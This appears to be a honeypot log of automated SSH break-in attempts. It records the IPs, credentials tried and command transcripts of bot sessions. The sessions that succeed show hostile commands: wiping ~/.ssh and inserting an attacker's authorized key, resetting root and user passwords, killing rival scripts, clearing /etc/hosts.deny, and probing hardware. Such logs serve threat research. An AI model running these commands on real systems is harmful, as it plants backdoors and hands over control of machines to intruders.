{"id":"bfa3910a-3236-4650-a43e-6ccab7ac1232","name":"lawful-golden-vicuna","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":53446,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:57:41.380643+00:00","ended_at":"2026-08-27T13:57:42.939001+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"oracle","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0b779c4b-54b8-4876-b259-593f6e87d486","name":"genial-clever-chough","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":50894,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:57:38.926539+00:00","ended_at":"2026-08-27T13:57:40.719410+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cfcd1478-f18f-4aa6-baa1-c10e0f8ca125","name":"vernal-umber-francolin","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":54520,"username":"abcd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:57:32.245232+00:00","ended_at":"2026-08-27T13:57:33.213408+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"abcd","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3b5aa55a-b75b-47fb-9090-0a5ea1a7d743","name":"restless-hazy-dotterel","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":53736,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:57:29.146700+00:00","ended_at":"2026-08-27T13:57:30.416045+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8cb3b0fa-51f7-4c83-b350-c42fa84f4ada","name":"alpine-weathered-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":36360,"username":"myuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":364,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:56:43.301357+00:00","ended_at":"2026-08-27T13:56:44.588020+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2098,"events":[{"seq":1,"at":"2026-08-27T13:56:09.099408+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:56:09.462494+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:56:15.716035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:56:17.358768+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:56:18.047390+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nQMl7qWgEy33R\\nQMl7qWgEy33R\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:56:18.603089+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nQMl7qWgEy33R\\nQMl7qWgEy33R\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:56:18.961059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:56:19.681520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:56:20.186031+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:56:20.899873+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:56:21.223357+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:56:22.163609+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:56:22.532185+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:56:24.657094+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:56:25.020300+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:56:26.792759+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:56:27.152272+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:56:29.144270+00:00","kind":"output","latency_ms":null,"data":" 13:56:29 up 7 days, 10:46, 0 user, load average: 0.35, 0.27, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:56:29.509255+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:56:31.508447+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:56:31.986666+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:56:34.029459+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:56:34.384513+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:56:35.409663+00:00","kind":"output","latency_ms":null,"data":"top - 13:56:35 up 7 days, 10:46, 0 user, load average: 0.35, 0.27, 0.4\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:56:35.767169+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:56:36.624252+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:56:37.052840+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:56:38.806897+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:56:39.171246+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:56:40.373440+00:00","kind":"output","latency_ms":null,"data":"myuser"},{"seq":31,"at":"2026-08-27T13:56:40.839242+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:56:42.525216+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:56:43.302147+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:56:44.375080+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"myuser","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"d7d0ad8f-0bf6-4928-9ecc-e7d9ef924844","name":"hazel-slender-ermine","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":56854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":831,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:56:20.487122+00:00","ended_at":"2026-08-27T13:56:22.536239+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:55:40.165993+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:55:40.992262+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:55:47.555026+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:55:49.131111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:55:49.976640+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9dZanbjMd9nW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:55:50.803939+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:55:51.630854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:55:51.847797+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:55:53.208850+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:55:54.038898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:55:55.684544+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:55:56.515029+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:55:58.112949+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:55:58.950695+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:55:59.933135+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:56:00.816123+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:56:02.420600+00:00","kind":"output","latency_ms":null,"data":" 13:56:02 up 7 days, 10:46, 0 user, load average: 0.21, 0.17, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:56:03.245317+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:56:04.356602+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:56:05.188261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:56:07.354617+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:56:08.210244+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:56:09.195655+00:00","kind":"output","latency_ms":null,"data":"top - 13:56:09 up 7 days, 10:46, 0 user, load average: 0.21, 0.17, 0.18\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:56:10.032257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:56:12.024342+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:56:12.855437+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:56:14.101536+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:56:14.933259+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:56:16.973665+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:56:17.803223+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:56:19.658614+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:56:20.487853+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:56:22.273137+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Diamond1","method":"password","accepted":true,"tier":"other"}]} {"id":"2210d80b-ab2c-4997-b0ea-9b6bf2c2c0ca","name":"hidden-solemn-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":40764,"username":"myuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:56:14.307109+00:00","ended_at":"2026-08-27T13:56:15.606510+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"myuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b571d2d6-a28e-4242-a7d1-b99906a07a1a","name":"twilight-honest-bluebird","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":38354,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:56:10.644453+00:00","ended_at":"2026-08-27T13:56:12.605858+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9037b35c-6f2d-48c3-b718-9ee4ea34da5c","name":"nimble-languid-osprey","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":58526,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:55:45.934133+00:00","ended_at":"2026-08-27T13:55:47.290342+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a5c784b4-1d46-4985-b0c4-5aa47eacb53e","name":"vernal-civil-opossum","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":57684,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:55:42.923758+00:00","ended_at":"2026-08-27T13:55:44.274279+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f256eb79-b45a-4193-ae7f-fa3780be2a8a","name":"fierce-amiable-hedgehog","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":36262,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":209,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:55:41.998113+00:00","ended_at":"2026-08-27T13:55:42.103801+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:55:39.950586+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:55:40.742449+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:55:40.953393+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:55:40.955068+00:00","kind":"output","latency_ms":null,"data":" 13:55:40 up 7 days, 10:45, 0 user, load average: 0.17, 0.13, 0.11"},{"seq":5,"at":"2026-08-27T13:55:41.159797+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:55:41.160526+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:55:41.370326+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:55:41.370965+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:55:41.580546+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:55:41.581169+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:55:41.790380+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:55:41.791198+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:55:41.999162+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:55:41.999778+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"root","password":"Lt111111","method":"password","accepted":true,"tier":"other"}]} {"id":"bd28fa80-f266-4e39-ad73-4ddea68a43ff","name":"lively-burly-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":50760,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":480,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:55:13.593247+00:00","ended_at":"2026-08-27T13:55:15.678836+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T13:54:41.403059+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:54:41.751501+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:54:45.704415+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:54:46.807663+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:54:47.604815+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FaVqxv2XZLR2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:54:48.358787+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:54:48.809766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:54:49.039500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:54:50.555068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:54:50.901253+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:54:52.187719+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:54:52.638040+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:54:53.531036+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:54:53.882288+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:54:55.970205+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:54:56.743216+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:54:58.354317+00:00","kind":"output","latency_ms":null,"data":" 13:54:58 up 7 days, 10:45, 0 user, load average: 0.21, 0.16, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:54:58.699489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:55:00.643156+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:55:01.123137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:55:01.973658+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:55:03.015588+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:55:04.882134+00:00","kind":"output","latency_ms":null,"data":"top - 13:55:04 up 7 days, 10:45, 0 user, load average: 0.21, 0.16, 0.24\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:55:05.330703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:55:06.454885+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:55:07.247391+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:55:08.468150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:55:09.063732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:55:10.616225+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:55:11.383478+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:55:13.118014+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:55:13.595284+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:55:15.446679+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123@root","method":"password","accepted":true,"tier":"other"}]} {"id":"e0c99e99-f25b-41ac-9f98-ea2229ad105c","name":"distant-gnarled-pochard","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":53340,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:54:44.096849+00:00","ended_at":"2026-08-27T13:54:45.600530+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9ded0add-fdae-4c60-80a5-f49f1fd7eaef","name":"oaken-mighty-bushbaby","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":52066,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:54:42.518330+00:00","ended_at":"2026-08-27T13:54:43.413924+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"289fedf4-e58f-44be-a953-c770c571fd79","name":"arctic-granite-raven","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":60932,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":833,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:54:33.403866+00:00","ended_at":"2026-08-27T13:54:35.119495+00:00","ended_reason":"exec 